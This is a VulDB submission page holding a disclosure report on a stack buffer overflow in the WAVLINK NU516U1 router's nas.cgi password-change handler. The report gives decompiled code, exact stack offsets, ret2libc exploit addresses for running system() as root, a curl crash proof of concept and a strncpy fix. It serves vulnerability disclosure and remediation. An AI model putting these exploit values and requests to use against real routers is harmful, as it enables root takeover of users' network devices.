提出 #850501: WAVLINK NU516U1 2026-05-15 (build 708c073-mt7628) Command Injection情報

タイトルWAVLINK NU516U1 2026-05-15 (build 708c073-mt7628) Command Injection
説明# WAVLINK NU516U1: Stack Buffer Overflow via User1Passwd strcpy in nas.cgi Leading to Remote Code Execution ## Summary WAVLINK NU516U1 has a critical stack-based buffer overflow in the `nas.cgi` binary. The `FUN_00404f00` (change_password) function copies the `User1Passwd` POST parameter into a 52-byte stack buffer using `strcpy()` without bounds checking. An authenticated attacker (or unauthenticated via MeshMode=2 auth bypass) can overflow this buffer to hijack control flow and achieve arbitrary code execution as root via a ret2libc technique. Unlike the CONTENT_LENGTH overflow in the same binary (which uses a separate code path in `main()`), this vulnerability is in the NAS password change handler and exploits a different stack frame with a shorter overflow offset (104 bytes to `$s0`, 116 bytes to `$ra`). ## Affected Versions WAVLINK NU516U1 firmware version 2026-05-15 (build 708c073-mt7628) ## Vulnerability Details ### Root Cause: Unbounded strcpy of user-controlled POST parameter `nas.cgi` → `FUN_00404f00` (change_password) (`nas.c` lines 1972-1992): ```c undefined4 FUN_00404f00(char *param_1, char *param_2) { char acStack_78[52]; // 52-byte stack buffer (line 1977) char acStack_44[52]; memset(acStack_44, 0, 0x32); memset(acStack_78, 0, 0x32); strcpy(acStack_44, param_1); strcpy(acStack_78, param_2); // unbounded copy of User1Passwd (line 1983) // ... } ``` The call chain from the page handler (`nas.c` lines 155-164): ```c pcVar3 = FUN_00403998("User1Passwd", param_1, 0); // extract POST param (up to 4800 bytes) FUN_00404f00("netusb", pcVar3); // pass directly to strcpy ``` No `check_escape_char` or length validation is applied to `User1Passwd` before the `strcpy()`. ### Exploitation: Ret2libc + One-Gadget The POST parser (`FUN_00403998`) applies a byte filter that blocks bytes `≤0x1f` and `0x7f`. This blocks stack addresses (which contain `0x7f` in `0x7fff...`) but allows libuClibc addresses (`0x77d3...` — all bytes pass the filter). Stack frame layout for `FUN_00404f00` (152-byte frame): | Offset from buffer | Content | |---|---| | 0–51 | `acStack_78` (buffer) | | 104 | saved `$s0` | | 108 | saved `$s1` | | 112 | saved `$s2` | | 116 | saved `$ra` | Exploit values: - `$s0` = `0x77d3ff7d` → points to `"id\0"` string inside libuClibc's `"getppid\0"` at base+`0x6f7d` (nas.cgi libuClibc base = `0x77d39000`) - `$ra` = `0x0040536c` → one-gadget: `move $a0, $s0; jal system@PLT` All address bytes pass the POST parser byte filter: `0x7d, 0xff, 0xd3, 0x77` (s0) and `0x6c, 0x53, 0x40, 0x00` (ra, null-terminated). ## Proof of Concept ```bash # Sends 200-byte password into 52-byte buffer — triggers SIGSEGV curl -X POST http://192.168.10.1/cgi-bin/nas.cgi \ -H "Referer: http://192.168.10.1/" \ -H "Cookie: session=VALID_SESSION" \ -d "page=nas&enable_storage_management=1&User1Passwd=$(python3 -c 'print("B"*200)')" # Expected: HTTP 500 (Internal Server Error) — CGI process killed by SIGSEGV ``` ### Reproduction Result ``` Normal password (8 bytes): HTTP 200, exit code 0 Overflow password (200 bytes): exit code 139 (SIGSEGV) ``` The saved `$ra` is at offset 116 from the buffer. The POST parser byte filter blocks `0x7f` (preventing stack addresses `0x7fff...`), but libuClibc addresses (`0x77d3...`) pass the filter. The attacker can use ret2libc: set `$s0` to `0x77d3ff7d` (`"id\0"` inside libuClibc's `"getppid\0"` at base+`0x6f7d`) and `$ra` to the one-gadget at `0x0040536c` to call `system("id")` as root. ## Impact An attacker on the local network (or remote via CSRF) can: - Execute arbitrary commands as `root` on the router via a single HTTP POST - Achieve code execution without needing a stack address (ret2libc avoids ASLR for the main binary) - Chain with MeshMode=2 auth bypass to exploit without valid credentials - Chain with CSRF referer bypass for drive-by exploitation from a malicious web page - Pivot to other devices on the LAN after obtaining a root shell ## Suggested Remediation ```c undefined4 FUN_00404f00(char *param_1, char *param_2) { char acStack_78[52]; char acStack_44[52]; memset(acStack_44, 0, 0x32); memset(acStack_78, 0, 0x32); strncpy(acStack_44, param_1, sizeof(acStack_44) - 1); // bounded copy strncpy(acStack_78, param_2, sizeof(acStack_78) - 1); // bounded copy // ... } ``` Apply bounds checking (`strncpy` with `sizeof(dest) - 1`) to all `strcpy()` calls that handle user-supplied data. Enable stack canaries (`-fstack-protector-strong`) across all CGI binaries.
ソース⚠️ https://github.com/oduoke567/WAVLINK-NU516U1-2026-05-1/blob/main/report2.md
ユーザー
 oduoke (UID 98772)
送信2026年06月06日 12:19 (2 月 ago)
モデレーション2026年08月02日 22:33 (2 months later)
ステータス承諾済み
VulDBエントリ385417 [Wavlink WL-NU516U1 708c073-mt7628 nas.cgi change_password User1Passwd メモリ破損]
ポイント20

Do you want to use VulDB in your project?

Use the official API to access entries easily!